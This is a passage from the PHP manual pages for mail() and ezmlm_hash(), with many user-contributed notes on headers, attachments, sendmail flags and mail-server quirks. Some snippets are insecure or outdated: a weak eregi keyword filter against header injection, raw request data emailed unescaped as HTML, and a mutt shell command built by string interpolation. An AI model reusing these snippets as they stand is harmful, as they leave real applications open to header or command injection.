$handle=fopen($f_name, 'rb');
$f_contents=fread($handle, filesize($f_name));
$f_contents=chunk_split(base64_encode($f_contents));    //Encode The Data For Transition using base64_encode();
$f_type=filetype($f_name);
fclose($handle);
# To Email Address
$emailaddress="user@example.com";
# Message Subject
$emailsubject="Heres An Email with a PDF".date("Y/m/d H:i:s");
# Message Body
ob_start();
  require("emailbody.php");     // i made a simple & pretty page for showing in the email
$body=ob_get_contents(); ob_end_clean();

# Common Headers
$headers .= 'From: Jonny <jon@example.com>'.$eol;
$headers .= 'Reply-To: Jonny <jon@example.com>'.$eol;
$headers .= 'Return-Path: Jonny <jon@example.com>'.$eol;     // these two to set reply address
$headers .= "Message-ID:<".$now." TheSystem@".$_SERVER['SERVER_NAME'].">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;           // These two to help avoid spam-filters
# Boundry for marking the split & Multitype Headers
$mime_boundary=md5(time());
$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-Type: multipart/related; boundary=\"".$mime_boundary."\"".$eol;
$msg = "";

# Attachment
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: application/pdf; name=\"".$letter."\"".$eol;   // sometimes i have to send MS Word, use 'msword' instead of 'pdf'
$msg .= "Content-Transfer-Encoding: base64".$eol;
$msg .= "Content-Disposition: attachment; filename=\"".$letter."\"".$eol.$eol; // !! This line needs TWO end of lines !! IMPORTANT !!
$msg .= $f_contents.$eol.$eol;
# Setup for text OR html
$msg .= "Content-Type: multipart/alternative".$eol;

# Text Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/plain; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= "This is a multi-part message in MIME format.".$eol;
$msg .= "If you are reading this, please update your email-reading-software.".$eol;
$msg .= "+ + Text Only Email from Genius Jon + +".$eol.$eol;

# HTML Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= $body.$eol.$eol;

# Finished
$msg .= "--".$mime_boundary."--".$eol.$eol;   // finish with two eol's for better security. see Injection.

# SEND THE EMAIL
ini_set(sendmail_from,'from@example.com');  // the INI lines are to force the From Address to be used !
  mail($emailaddress, $emailsubject, $msg, $headers);
ini_restore(sendmail_from);
?>

I hope this helps.
Jon Webb [Madrid&London]

[EDITOR thiago NOTE: Code has a fix from o.straesser AT gmx DOT de]
lawcd at ntlworld dot com 30-Jan-2006 09:38
For those of you with the exim, if its not sending mail with the -i option and you cant easily change this, you might want to check out the imap_mail() function which works almost exactly the same and doesnt use exim, most web hosts provide this. If you using your own server then php needs to be compiled with imap libraries etc.

See http://uk2.php.net/manual/en/function.imap-mail.php
aweather88 at gmail dot com 14-Dec-2005 02:45
I spent hours searching the web trying to figure out why I was getting a "WARNING: mail(): SMTP server response: 501 5.5.4 Invalid Address " every time I was using the mail() function on my server (Win2K3,IIS 6.0,PHP4.4.1).  I knew everything was setup properly for SMTP based on other non IIS 6.0 configurations.

Turns out that the IIS 6.0 SMTP service does not like formatting of the "From" field in mail headers.  For instance:
<?PHP
   //This line DOES NOT send  mail message correctly
   $headers .= "From: \"".$fromname."\" <".$fromaddress.">\n";
?>
However this works:
<?PHP
   //This line sends mail message correctly
   $headers .= "From: \"".$fromaddress."\"\n";
?>

The fix is in Microsoft Article ID 291828 ( http://support.microsoft.com/?id=291828 ).  Even though the "bug" workaround is for IIS 6.0 on Exchange 2003 communicating with a UNIX server, THIS SOLVES THE PROBLEM.  Just skip down to the last section for Exchange 2003 and follow the instructions to modify the IIS 6 MetaBase with the MetaBase Explorer found in the IIS 6 Resource Kit.
Andrew W 27-Apr-2005 03:19
I spent weeks trying to work out why PHP couldnt send mail through Exim (called locally) when for all other purposes Exim worked fine.  Here, after hours of work is the answer and I hope it saves someone else some time:

PHP by default calls sendmail/exim/whatever with the options -t & -i

-i is causing Exim to sit there waiting for more input, not detecting the end of the message.  You need to tell it not to use -i by manually specifying the arguments you DO want on sendmail_path like this:

sendmail_path = /path/to/exim -t
wtmusic 13-Jun-2004 12:53
Beware of Mac "line feeds" (\r) in long text strings in the body of a message--may cause Sendmail to insert exclamation points after every 256 chars
josh at sdfahrenheit dot com 15-Apr-2004 07:52
For anyone having problems with attached files coming through garbled, make sure you have magic_quotes_runtime set to Off in your php.ini - it adds funky escape chars to your attached data and garbles the attachment.

This was giving me all kinds of grief.
Predefined Constants
ezmlm_hash
Mail


Calculate the hash value needed by EZMLM

Mail Functions
mail
Mail Functions
PHP Manual

ezmlm_hash

(PHP 4 >= 4.0.2, PHP 5)

ezmlm_hash — Calculate the hash value needed by EZMLM

Description

int ezmlm_hash ( string $addr )

ezmlm_hash() calculates the hash value needed when keeping EZMLM mailing lists in a MySQL database.

Parameters

addr

The email address that's being hashed.

Return Values

The hash value of addr.

Examples

Example #1 Calculating the hash and subscribing a user

<?php

$user = "joecool@example.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO sample VALUES (%s, '%s')", $hash, $user);
$db->query($query); // using PHPLIB db interface

?>

User Contributed Notes

thedragon at mediocreshit dot com 03-Aug-2007 06:55
ezmlm will add a user to the list from a mail() call if you use the -f extra flag in the function.
Example:

mail($to,$title,$email,$headers,"-tfromemail@example.com");

The extra flag being a -t followed by no space and the email address you want the email to appear as though it's being sent from. I spent hours messing with this to try to allow users to sign up for my mailing list by marking a check box while signing up on my site, ezmlm ignored everything until I threw that extra parameter in there.

Hope this helps.
jens at NOSPAM dot rootsy dot nu 30-Sep-2005 12:07
This is really ezmlm documentation, but I certanly would have been happy if I found it anywhere during my time of trial. I am not a Linux expert, as you probably will notice, so things I do/did that might sound incredibly stupid to those who do know. I blame hard-to-find documentation :)

I wanted a page where a visitor could add their address to my mailinglist. That shouldn't be too hard, or atleastso I thought...

First I tried mailing the mailinglist. For some reason, the mailinglist didn't see my "From:" -header and it failed miserably.

Then I tried to use system() to call ezmlm-sub, which only produced the error-code 111. That was an access problem. So, I tried making the mailinglist availible to the website, but the change in permissions caused the mailserver to malfunction (as opposed to mailfunction....). It took a while to sort that mess out.

I couldn't find any guide as howto add mysql-support. The big problem was how to know which tables was needed. Apperantly, this is all that is needed:

ezmlm-mktab listname | mysql -u root -p databasename

Then its just adding the mailinglist with mysql-support i qmailadmin. It doesn't seem to allow socket connection to the database, so iptables has to allow local connections to the mysql port.

Hope this helps someone.
Tim in SF 10-Dec-2003 07:57
EZ Mailing List Manager (EZMLM) is a mailing list manager which allows users to create their own mailing lists with a single command.

It seems to require qmail.

See:
http://www.ezmlm.org/
http://www.qmail.org/top.html#ezmlm
Mail Functions
mail
Mail Functions


Send mail

ezmlm_hash
Mailparse
Mail Functions
PHP Manual

mail

(PHP 4, PHP 5)

mail — Send mail

Description

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Sends an email.

Parameters

to

Receiver, or receivers of the mail.

The formatting of this string must comply with » RFC 2822. Some examples are:

  • user@example.com
  • user@example.com, anotheruser@example.com
  • User <user@example.com>
  • User <user@example.com>, Another User <anotheruser@example.com>

subject

Subject of the email to be sent.

Caution

Subject must satisfy » RFC 2047.

message

Message to be sent.

Each line should be separated with a LF (\n). Lines should not be larger than 70 characters.

Caution

(Windows only) When PHP is talking to a SMTP server directly, if a full stop is found on the start of a line, it is removed. To counter-act this, replace these occurrences with a double dot.

<?php
$text = str_replace("\n.", "\n..", $text);
?>

additional_headers (optional)

String to be inserted at the end of the email header.

This is typically used to add extra headers (From, Cc, and Bcc). Multiple extra headers should be separated with a CRLF (\r\n).

Note:

When sending mail, the mail must contain a From header. This can be set with the additional_headers parameter, or a default can be set in php.ini.

Failing to do this will result in an error message similar to Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing. The From header sets also Return-Path under Windows.

Note:

If messages are not received, try using a LF (\n) only. Some poor quality Unix mail transfer agents replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with » RFC 2822.

additional_parameters (optional)

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

The user that the webserver runs as should be added as a trusted user to the sendmail configuration to prevent a 'X-Warning' header from being added to the message when the envelope sender (-f) is set using this method. For sendmail users, this file is /etc/mail/trusted-users.

Return Values

Returns TRUE if the mail was successfully accepted for delivery, FALSE otherwise.

It is important to note that just because the mail was accepted for delivery, it does NOT mean the mail will actually reach the intended destination.

Changelog

Version | Description
4.3.0 (Windows only) | All custom headers (like From, Cc, Bcc and Date) are supported, and are not case-sensitive. (As custom headers are not interpreted by the MTA in the first place, but are parsed by PHP, PHP < 4.3 only supported the Cc header element and was case-sensitive).
4.2.3 | The additional_parameters parameter is disabled in safe_mode and the mail() function will expose a warning message and return FALSE when used.
4.0.5 | The additional_parameters parameter was added.

Examples

Example #1 Sending mail.

Using mail() to send a simple email:

<?php
// The message
$message = "Line 1\nLine 2\nLine 3";

// In case any of our lines are larger than 70 characters, we should use wordwrap()
$message = wordwrap($message, 70);

// Send
mail('caffeinated@example.com', 'My Subject', $message);
?>

Example #2 Sending mail with extra headers.

The addition of basic headers, telling the MUA the From and Reply-To addresses:

<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
?>

Example #3 Sending mail with an additional command line parameter.

The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path.

<?php
mail('nobody@example.com', 'the subject', 'the message', null,
   '-fwebmaster@example.com');
?>

Example #4 Sending HTML email

It is also possible to send HTML email with mail().

<?php
// multiple recipients
$to  = 'aidan@example.com' . ', '; // note the comma
$to .= 'wez@example.com';

// subject
$subject = 'Birthday Reminders for August';

// message
$message = '
<html>
<head>
  <title>Birthday Reminders for August</title>
</head>
<body>
  <p>Here are the birthdays upcoming in August!</p>
  <table>
    <tr>
      <th>Person</th><th>Day</th><th>Month</th><th>Year</th>
    </tr>
    <tr>
      <td>Joe</td><td>3rd</td><td>August</td><td>1970</td>
    </tr>
    <tr>
      <td>Sally</td><td>17th</td><td>August</td><td>1973</td>
    </tr>
  </table>
</body>
</html>
';

// To send HTML mail, the Content-type header must be set
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// Additional headers
$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . "\r\n";
$headers .= 'From: Birthday Reminder <birthday@example.com>' . "\r\n";
$headers .= 'Cc: birthdayarchive@example.com' . "\r\n";
$headers .= 'Bcc: birthdaycheck@example.com' . "\r\n";

// Mail it
mail($to, $subject, $message, $headers);
?>

Note:

If intending to send HTML or otherwise Complex mails, it is recommended to use the PEAR package » PEAR::Mail_Mime.

Notes

Note:

The Windows implementation of mail() differs in many ways from the Unix implementation. First, it doesn't use a local binary for composing messages but only operates on direct sockets which means a MTA is needed listening on a network socket (which can either on the localhost or a remote machine).

Second, the custom headers like From:, Cc:, Bcc: and Date: are not interpreted by the MTA in the first place, but are parsed by PHP.

As such, the to parameter should not be an address in the form of "Something <someone@example.com>". The mail command may not parse this properly while talking with the MTA.

Note:

It is worth noting that the mail() function is not suitable for larger volumes of email in a loop. This function opens and closes an SMTP socket for each email, which is not very efficient.

For the sending of large amounts of email, see the » PEAR::Mail, and » PEAR::Mail_Queue packages.

Note:

The following RFCs may be useful: » RFC 1896, » RFC 2045, » RFC 2046, » RFC 2047, » RFC 2048, » RFC 2049, and » RFC 2822.

See Also

  • imap_mail() - Send an email message
  • » PEAR::Mail
  • » PEAR::Mail_Mime

User Contributed Notes

debis at woh dot rr dot com 14-Dec-2011 03:09
This is for Windows Server 2003, IIS 6.0 with SMTP virtual server.

The problem I had was not including init_set for the SMTP server, I thought the SMTP definition in the IIS SMTP virtual server configuration would work.  When I sent mail manually this was not an issue.

Also, $mail_sent = @mail( $to, $subject, $message, $headers ); wouldn't work but $mail_sent = mail($to, $subject, $message, $headers); did.
Lack of date_default_timezone_set() only caused a warning because php guessed what it should be.

This worked:
<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();
ini_set ( "SMTP", "smtp-server.example.com" );
date_default_timezone_set('America/New_York');

mail($to, $subject, $message, $headers);
?>

And just so you can troubleshoot, this worked when sending mail from the command line/manually. CLI worked even though the php code without the init_set function wouldn't work.

You will notice that the "rcpt to" and "to" fields appear redundant, but if both are not used, the delivered mail's "to" field will be blank/empty.

-------------------------------
telnet www.example.com 25
helo
mail from: webmaster@example.com
rcpt to: someone@example.com
data
to: someone@example.com
subject: test again to make sure

this is my message
.
quit
-----------------------------------
saganwebdesign 14-Oct-2011 07:01
If you are getting frustrated that your email is being sent as plain text instead of HTML, typically one of your headers showing up in the email (even if other scripts on the same server seem to work fine!!!) then structure your headers like this:

<?php
$headers = 'From: You <you@example.com>' . "\n";
$headers .= 'MIME-Version: 1.0' . "\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
?>

Notice that the From is before the MIME and Content and only Content ends with "\r\n", the other are just "\n"

Not sure how it is possible for other scripts on the same server, same domain to work fine as shown in the very top instructions, and others need this crap... I spent a very frustrating couple hours figuring this out, hope you can avoid doing the same.
nospam-adriantnt at adriantnt dot com 24-Sep-2011 08:54
When sending multipart HTML mail (text and html mail in one).

In your header you define you boundary as "whatever" and inside your actual email you write it as "--whatever"

With dashes in front but just inside the message body.
arunm 14-Sep-2011 05:24
It is also advisable to set the return path in the headers; hence it will avoid the email to land in the spam folder!
eg:

$headers.="Return-Path:<name@example.com>\r\n";
Andrew P. 06-Sep-2011 02:44
Before invoking the mail() function, it's useful to use the stripslashes() function to remove embedded backslashes in the message string that are used as escape characters for embedded apostrophes, quotation marks and such.

For example, instead of using

mail($to, $subject, $message, $headers);

use

mail($to, $subject, stripslashes($message), $headers);

The result is a more readable message.
Anda 05-Sep-2011 11:57
Send Multi attachment email

<?php
function multi_attach_mail($to, $files, $sendermail){
    // email fields: to, from, subject, and so on
    $from = "Files attach <".$sendermail.">";
    $subject = date("d.M H:i")." F=".count($files);
    $message = date("Y.m.d H:i:s")."\n".count($files)." attachments";
    $headers = "From: $from";

    // boundary
    $semi_rand = md5(time());
    $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";

    // headers for attachment
    $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";

    // multipart boundary
    $message = "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" .
    "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";

    // preparing attachments
    for($i=0;$i<count($files);$i++){
        if(is_file($files[$i])){
            $message .= "--{$mime_boundary}\n";
            $fp =    @fopen($files[$i],"rb");
        $data =    @fread($fp,filesize($files[$i]));
                    @fclose($fp);
            $data = chunk_split(base64_encode($data));
            $message .= "Content-Type: application/octet-stream; name=\"".basename($files[$i])."\"\n" .
            "Content-Description: ".basename($files[$i])."\n" .
            "Content-Disposition: attachment;\n" . " filename=\"".basename($files[$i])."\"; size=".filesize($files[$i]).";\n" .
            "Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
            }
        }
    $message .= "--{$mime_boundary}--";
    $returnpath = "-f" . $sendermail;
    $ok = @mail($to, $subject, $message, $headers, $returnpath);
    if($ok){ return $i; } else { return 0; }
    }
?>
epheterson at gmail dot com 16-Aug-2011 10:48
After banging my head against the wall, I realized after my host updated PHP that the From line in the header requires quotes around the name where before it worked regardless. Otherwise it will report success, and not sent.

$headers .= 'From: "'. $Name . '" <' . $Email . '>' . "\r\n";
krzysiek dot 333 at gmail dot com 02-Aug-2011 11:24
Sending messages with polish special characters:
<?php
function plmail($mail, $sub, $mes){
    $headers = "From: ExRobot <robot@example.com>\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/plain; charset=utf-8\r\n";
    $headers .="Content-Transfer-Encoding: 8bit";

    $mes=htmlspecialchars_decode($mes,ENT_QUOTES);//optional - I use encoding to POST data
    mail($mail, "=?utf-8?B?".base64_encode($sub)."?=", $mes, $headers);
}
?>
Page must be in utf-8 encoding.
mulllhausen 17-Jul-2011 10:14
i found that emails were not getting sent when i specified multiple recipients separated by commas in the $to variable.

however i did find that i could specify multiple recipients using the the 'To: ' header. i am using php cli on ubuntu 10.04.1 lts.

hopefully this is useful to someone
me at arronwoods dot com 24-Jun-2011 07:42
I've had all sorts of problems with scripts that don't set the "-f user@example.org" parameter when using mail() if postfix is the sendmail agent.

In postfix I had SMTP relay authentication based on the sender address, but it was always the PHP user as the sender until I adapted the code from:

<?php mail('test@example.org', 'Subject', 'Body', 'From: user@example.org'); ?>

to:

<?php mail('test@example.org', 'Subject', 'Body', 'From: user@example.org', '-f user@example.org'); ?>

I couldn't find a way to adjust PHP or Postfix to do this for me, so I had to edit the application. I was actually using Zend_Mail_Transport_Smtp, which made it that little bit trickier. I ended up with this:

<?php

class My_Mail_Transport_Sendmail extends Zend_Mail_Transport_Sendmail {

    public function _sendMail() {
        if ($this->parameters === null) {
            $this->parameters = '-f ' . $this->_mail->getFrom();
        }

        return parent::_sendMail();
    }

}
?>
vigo dot von dot harrach at gmx dot de 19-May-2011 02:49
If using sendmail as transport agent, setting the "DeliveryMode" to "background" (asynchronous) instead of the default "interactive" (synchronous) makes mail() a lot faster, while still sending immediately.
You can either use the "additional parameters", e.g. mail($to, $subject, $message, $headers, 'O DeliveryMode=b'), or make this mode default by changing php.ini's "sendmail_path" to 'sendmail -t -i -O DeliveryMode=b'.
buraks78 at gmail dot com 07-May-2011 07:02
If you are having problems changing the Sender and Return-Path headers, make sure that you are editing the right configuration file. On my CentOS 5.6:

[root@server mail]# ll /usr/sbin/sendmail
lrwxrwxrwx 1 root root 21 Oct 26  2009 /usr/sbin/sendmail -> /etc/alternatives/mta
[root@server mail]# ll /etc/alternatives/mta
lrwxrwxrwx 1 root root 23 Apr  9 07:48 /etc/alternatives/mta -> /usr/sbin/sendmail.exim
[root@server mail]# ll /usr/sbin/sendmail.exim
lrwxrwxrwx 1 root root 4 Apr  9 07:45 /usr/sbin/sendmail.exim -> exim

I spent some time trying to figure out why my changes to the sendmail.mc file were being ignored. Naturally, Exim configuration is different than Sendmail. You need to edit the /etc/exim/exim.conf file instead:

remote_smtp:
  driver = smtp
  return_path = bounce@example.com
  headers_rewrite = apache@* info@example.com s

^ Don't forget the "s" at the end. See this page for more information: http://www.exim.org/exim-html-2.00/doc/html/spec_32.html#SEC669

If you are OK with displaying the apache user name (ie "Sender: apache@subdomain.example.com") in the email header, then just update the qualify_domain configuration option in the same file.

qualify_domain = example.com

This will fix the domain only (ie "Sender: apache@example.com").
ajoliveira at ajoliveira dot com 21-Apr-2011 07:40
This manual says:

Multiple extra headers should be separated with a CRLF (\r\n)

I have found out when developing a function sending a text/html multipart message that multiple headers are better separated by \n instead of \r\n. I have used \r\n only in te last one. This was done to ensure cross-platform consistency of the e-mail. There atr some mail systems interpreting \r\n as the end of the headers and the start of the message body.
dave dot kelly at dawkco dot com 06-Feb-2011 03:43
On Windows, with the following entries in php.ini, the script below that works fine.

[mail function]
; For Win32 only.
SMTP = "my.mailserver.dom"
smtp_port = 25

<?php
$to = '"To Display Name" <rcpt@rcpt.dom>';
$subject = 'PHP mail test';
$message = 'This message was sent via PHP!' . PHP_EOL .
           'It should work ... and it does.' . PHP_EOL . PHP_EOL .
           'From Display Name' . PHP_EOL;
$headers = 'From: "From Display Name" <sender@sender.dom>' . PHP_EOL .
           'Cc: "CC Display Name" <copied@copied.dom>' . PHP_EOL .
           'X-Mailer: PHP-' . phpversion() . PHP_EOL;
if (mail($to, $subject, $message, $headers)) {
  echo 'mail() Success!' . "<br />\n";
}
else {
  echo 'mail() Failure!' . "<br />\n";
}
?>
Richard Neill 28-Dec-2010 03:54
If mail() encounters an error, it just returns false. To find why, we need to discover where the sendmail command put its error. On Linux, this is usually /var/log/messages.

The mail errors don't end up in /var/log/httpd/errors (because apache doesn't know that /usr/sbin/sendmail returning false is an error), nor in /var/log/mail/  (because the email never got as far as postfix, and no SMTP/delivery error occurred.)
shuitest at gmail dot com 02-Nov-2010 09:50
If you use mutt, do as below,

/usr/bin/mutt -s '$subject' -f /dev/null -e 'set copy=no' -e 'set from = "{$GLOBALS[cfg][email_from]}"' -a '$attach_file_full_path' '{$GLOBALS[cfg][email_to]}' </dev/null 2>&1;
tschmieder at online dot de 23-Oct-2010 07:32
it seams to be better, to terminate additional headers neither with "\n" nor with "\r\n", but to terminate them with the php constant PHP_EOL.

The benefit is: this works fine as well on a LINUX based Host as on a Windows based host.

As final result there must be produced a mail file fulfilling the RFC2822 ff.

On a Linux system therfore in headers linebreaks like "\n" are required due to the sendmail script transforming them to "\r\n" (means CRLF).

On a Windows system the mail function speaks directly to the SMTP Server (port 25) and therefore in headers linebreaks like "\r\n" (means CRLF) are required at once. Nobody else would care for transformation.

If you use the constant PHP_EOL instead of own character sequences, the php installation will take care for the required line ending as well on Linux as on Windows installations.
Michiel Uitdehaag 30-Sep-2010 01:07
We had a LAMP setting with postfix as mail system. Our additional headers were not interpreted correctly by a receiving mailserver (Exchange/ENOD32) and a newline was inserted after the first additional header.

It turns out that a internet/dos style newline (\r\n) in the headers were converted to \r\r\n (ie: something mindlessly replaced all \n with \r\n without seeing if \n was already preceded by \r)

I don't know if this is something in PHP or postfix, but seeing the comments below I suspect it is something of PHP on *NIX in combination with non-sendmail mailers.

So, use your 'local' newline style for additional headers, as opposed to the examples above.

I don't know if this is a bug anywhere. I don't know which element exactly does the unix2dos translation. If it is PHP, it should only replace ([^\r])\n  with \1\r\n
Zane @ MLI 08-Sep-2010 03:17
Italian users cursing against "È" and other uppercase-accented-vowels ("vocali maiuscole accentate"") in subjects! While the lowercase ones ("è", "é" and so on) work as expected, qmail doesn't handle the uppercase ones.

To fix it, the only way I found was this:

<?php

function mail_utf8($to, $subject = '(No subject)', $message = '', $header = '') {
  $header_ = 'MIME-Version: 1.0' . "\r\n" . 'Content-type: text/plain; charset=UTF-8' . "\r\n";
  mail($to, '=?UTF-8?B?'.base64_encode($subject).'?=', $message, $header_ . $header);
}

?>

It should apply to other languages too.
phadley at reliableid dot com 12-Aug-2010 06:20
The mail function will stop including headers if you misspell one of them.  It doesn't report an error, it just puts the offending header and all that follow it in the body of the message.  My great transgression was using MIME Version instead of MIME-Version, a lapse which cost me several hours.
Porjo 06-Jul-2010 11:19
Make sure you enclose \r\n in double quotes (not single quotes!) so that PHP can translate that into the correct linefeed code
umangberi at gmail dot com 02-May-2010 01:41
Outlook 2007 seemed to be a little finicky with me to have carriage returns in the headers. So any \r\n resulted in messages that had default apache messages sent over to me.

As soon as I removed \r from all of the headers, the script started working fine. Hope that helped.
matthew dot mckay at uwrf dot edu 17-Feb-2010 01:57
Note: On some windows platforms this is NOT thread safe.
We are having email message bodies being sent out to the wrong headers multiple times, some failing to send, and other bizarre stuff. If you google search for "php mail thread safe" you can find a ton of relevant information.
This is not a bug in php, there have been multiple bugs closed with this issue being dismissed as not an issue with PHP.
rch+php at online dot lt 02-Jan-2010 01:46
RFC-2822 is quite explicit, that "Though some message   systems locally store messages in this format (which eliminates the need for translation between formats) and others use formats that differ from the one specified in this standard, local storage is outside of the scope of this standard."

And it is not just "some", but most Unix mailers choke when you try pipe CRLF instead of Unix line endings to "sendmail" command.  PHP is using line endings as is, so you have better chances for success if you use Unix file format or line endings.
Alex M. 22-Nov-2009 11:49
It is important to filter the form input to prevent header injection. Here is a simple way:

<?php
# Anti-header-injection - Use before mail()
# By Victor Benincasa <vbenincasa(AT)gmail.com>

foreach($_REQUEST as $fields => $value) if(eregi("TO:", $value) || eregi("CC:", $value) || eregi("CCO:", $value) || eregi("Content-Type", $value)) exit("ERROR: Code injection attempt denied! Please don't use the following sequences in your message: 'TO:', 'CC:', 'CCO:' or 'Content-Type'.");
?>

--
Alex M.
Systemx 04-Nov-2009 02:29
Bare LFs in SMTP

Use This

<?php
// Fix any bare linefeeds in the message to make it RFC821 Compliant.
$message = preg_replace("#(?<!\r)\n#si", "\r\n", $message);

// Make sure there are no bare linefeeds in the headers
$headers = preg_replace('#(?<!\r)\n#si', "\r\n", $headers);
?>
John 20-Oct-2009 11:38
A quick note about the optional flags that can be passed to sendmail. -f will set the From address, -r will override the default Return-path that sendmail generates (typically the From address gets used). If you want your bouncebacks to go to a different address than the from address, try using both flags at once: "-f myfromemail@example.com -r mybounceemail@example.com"
dtbaker.com.au 10-Oct-2009 08:59
An observation about safe_mode and mail()

It looks like multiple \r\n's are replaced by a single \r\n inside the string passed to "additional_headers". I can only re-produce this on a box running with safe_mode enabled.

If (for some reason) your script crafts the entire email message in the headers, this will most likely produce a blank email on safe_mode boxes (like this script I've been trying to get working).
Maven1 at example dot com 09-Oct-2009 01:28
I was having trouble with the newline and carriage return characters when using the mail function in a custom script within Joomla since the stupid input validations kept stripping them (changed "/r/n" to "rn").

To get around this, I used chr(13) and chr(10) to insert them.

<?php

$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . chr(13) . chr(10);
$headers .= 'From: Birthday Reminder <birthday@example.com>' . chr(13) . chr(10);

?>

Hope that helps someone.
Clayton Ginsburg 18-Aug-2009 12:38
I recently had an issue where the mail() function would work fine from the php cli but not from apache.

I eventually traced this down to the fact that I was using apparmor

Specifically, I configured apparmor to deny the apache user the ability to use /bin/dash

After changing apparmor to /bin/dash rix
and reloading the apparmor profile, mail worked

In other words, mail requires the account/program executing the script to be able to use /bin/dash

I hope this helps someone
Anonymous 17-Aug-2009 11:29
UTF-8 and QMail

This function should work for all of you, who want to switch to UTF-8 email - especially if using Qmail as Mailserver.

QMail seems to have problems with the "\r\n" in the header section. I found it helpful to replace them with "\n".

<?php
function mail_utf8($to, $subject = '(No subject)', $message = '', $from) {
  $header = 'MIME-Version: 1.0' . "\n" . 'Content-type: text/plain; charset=UTF-8'
    . "\n" . 'From: Yourname <' . $from . ">\n";
  mail($to, '=?UTF-8?B?'.base64_encode($subject).'?=', $message, $header);
}
?>
Tomer 02-Aug-2009 11:31
I was trying to create a script that would send large forms without having to get/post each value first and came up with this... should help someone to save valuable time.

<?php
$emailSentTo = "";
$subjectOfEmail = "";

//========= no need to edit bellow

// Set HTML Mail Header
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// The Message
$message = $GLOBALS["HTTP_SERVER_VARS"]["REQUEST_URI"];

//Cleaning Message
$message = str_replace('?','<br><hr>',str_replace('/','File used for submittimg this form: ',str_replace('=',': ',str_replace('&','<br>',$message))));

// Sending
mail($emailSentTo, $subjectOfEmail, $message, $headers);

//Thanking
echo "<script language=\"javascript\" type=\"text/javascript\">
alert('Thank You, We will contact you shortly.');
window.location = \"http://$_SERVER[HTTP_HOST]\";
</script>
";
?>
Edward 01-Aug-2009 02:08
Currently my hosting service is on Godaddy. When attempting to use the mail function without the fifth parameter containing "-f", my message headers would not work.

Whenever your message headers do not work, simply try using the fifth parameter:

<?php
mail($to, $subject, $message, $headers, "-femail.address@example.com");
?>
php at caves dot org dot uk 28-Jul-2009 07:32
Setting an envelope-sender address avoids mail bounces annoying your system administrator.

If your mail cannot be delivered, it will be rejected to the address specified as the "SMTP-envelope-from" (or the "envelope sender" or "return path", depending on the terminology you like to use )

If you do not explicitly set an envelope-from address then PHP will default to the php.ini setting which - if you have not set this yourself - could be nobody@[your-ISP-domain] or anonymous@[your-ISP-domain], for example.

To avoid bothering the person at that address - or indeed, if you are wondering why you are not receiving mail rejections yourself - you should use the "-f" option in the <$additional_parameters> argument to set a valid address.

(and, by the way: If you do this, but you do not set a From: address in the <$additional_headers> argument then PHP will set a default From: address of "From: Nobody <your-envelope-sender-setting>". ).
php at caves dot org dot uk 28-Jul-2009 07:12
Problem: mail disappearing; not being sent

There are many reasons why your mail might fail to be sent, but one particularly obscure reason is as follows.

You must take extra care if the machine that is sending the mail also operates mail forwarding for your domain and you are sending mail to a user at that domain.  In this situation, it is common for the MTA to avoid doing a "proper" MX look-up because it "knows" that there is a local list of mail-forwarding rules. This saves resources, and normally shouldnt be a problem, of course.

HOWEVER, if you deliberately alter your MX record to point to a mail server hosted elsewhere and, e.g. update your mail forwarding rules at that location,  AND the server that sends your PHP-generated mail "decides" that it will save resources by not checking the MX record THEN it will use your old set of forwarding rules because it is ignoring your MX record.

If an appropriate forwarding rule does not exist locally, then the mail may be dropped without generating any error (i.e. no "bounce" message).

The symptom of the problem is that mail to certain users at your domain will be wrongly delivered or not delivered at all.

An obscure problem, perhaps, but one that I have experienced, and which took a long time to solve!
Anonymous 02-Jul-2009 09:22
I was (finally) able to get multipart HTML mail working.
The 'boundary' must be defined with double quotes, not apostrophes.

$headers .= "Content-Type: multipart/alternative;boundary=\"$boundary\";\n\n";
d dot r at usask dot ca 05-Jun-2009 09:44
The example indicates \r\n at the end of each line in the headers but this was causing me problems as emails showed some of the headers as part of the body.  I simply used only \n as in some of the other examples and the problem went away.
marcel dot portela at gmail dot com 22-May-2009 10:32
To define a mail priority you have to put this lines in the headers:

<?php
        $headers = "MIME-Version: 1.0\n" ;
        $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";
        $headers .= "X-Priority: 1 (Higuest)\n";
